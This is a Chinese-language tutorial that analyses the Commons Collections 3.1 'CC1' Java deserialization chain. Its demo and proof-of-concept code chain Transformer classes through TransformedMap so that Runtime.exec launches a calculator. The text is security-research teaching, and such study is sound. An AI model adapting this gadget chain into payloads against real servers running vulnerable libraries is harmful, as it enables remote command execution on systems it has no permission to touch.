CommonCollections1
简介
Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本
CC1有两个利用链,其一是下方解释那种,另外一种涉及动态代理
利用链
依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用,故选择jdk7
前提知识
我们分析CC1链之前,首先需要知道如下知识
他们组成了CC1链的利用方法
CC1 Demo
首先看一下CC1的demo
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
}
}
对其中的知识进行解释
Transformer
Transformer是⼀个接⼝,只有⼀个待实现的方法transform
ConstantTransformer
- ConstantTransformer是实现了Transformer接⼝的⼀个类
- 简单就是你输入什么类,它就返回什么
new ConstantTransformer(Runtime.getRuntime()),
将getRuntime赋给iCOnstant之后,会通过tranform返回
触发的时候
会调用ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回
InvokerTransformer
- 这个类就是代码执行的关键了
- 这个类的实现主要采用了反射的方法
- 简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
- 只要参数可控,就是任意命令执行
- 该类的构造方法中传入三个变量,分别是方法名,参数的类型,和参数
- 是实现Transformer接口的一个类
- 又会在transform方法中利用反射的知识,执行了input对象的iMethodName
InvokerTransformer的transform方法中利用了反射,通过反射调用我们传入的类中的方法,所以这类其实就是我们执行恶意命令的核心类
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//进行反射调用
//那么如果可以控制输入的iMethodName,iParamTypes,iArgs,input就可以利用这个代码进行代码执行
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
触发器最后会进入到InvokerTransformer中进行反射执行命令
POC
利用构造函数传入methodName,paramTypes,args 来确定我们调用的方法,参数类型以及参数
String methodName = "exec";
Class[] paramTypes = new Class[]{String.class};
Object[] arg = new Object[]{"open -a Calculator"}; // windows这里换成calc.exe即可
将实例传入transform方法,结合之前传入的methodName,paramTypes,args 可进行代码执行
InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg); invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));
反射在此的理解
Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
invoke
- invoke调用普通方法时,传入的必须是实例化后的类
- invoke调用静态方法时,传入类即可
invoke(obj,params)
//这里利用invoke调用Runtime中的静态getRuntime方法
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}
ChainedTransformer
- 也是实现Transformer接口的一个类
- 它就可以承接下一步的操作。
- 它的主要作⽤:
- 将内部的多个Transformer串在⼀起
- 前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口
同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中
public class ChainedTransformer implements Transformer, Serializable {
.......
}
......
//该方法首先有一个构造函数,将传入的Transformer类型的数组赋值给iTransformers,这里iTransformers是一个数组
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//它会将前一个transform返回的结果作为后一个对象的传参,假设我们传入的Transformer[]数组中有两个数据
//new ConstantTransformer(Runtime.getRuntime())
//new InvokerTransformer("exec", new Class[]{String.class},new Object[{"calc"})
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
触发器的时候,会进入到循环中去
TransformedMap
一个触发器,主要是后面类中的实现类的Transformer()方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
- 它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
- 这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
- 第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
decorate将我们ChainedTransformer传入到valueTransformer
outerMap.put("zeo", "666");
当我们发现往里面填充值得时候,会进入transformValue方法
调用valueTransformer(ChainedTransformer类的实例)的transform方法
第二次调用的时候调用Runtime对象就会将object进行传入
分析
- 实例化
new Transformer
的数组,构造中间的小链子,ConstantTransformer和InvokerTransformer不是一个类,但都继承了Transformer,故可以放到Transformer[]接口中去 - 小链子中有两个
ConstantTransformer,InvokerTransformer
,这两个构造好后,放入刚刚提到的ChainedTransformer
类里面,他们就是连起来里面,也就是我们常用的Runtime.getRuntime().exec()
- 命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
- 实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
- 所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器
补充
在反射当初static,对象为null,只有非静态,对象才是它本身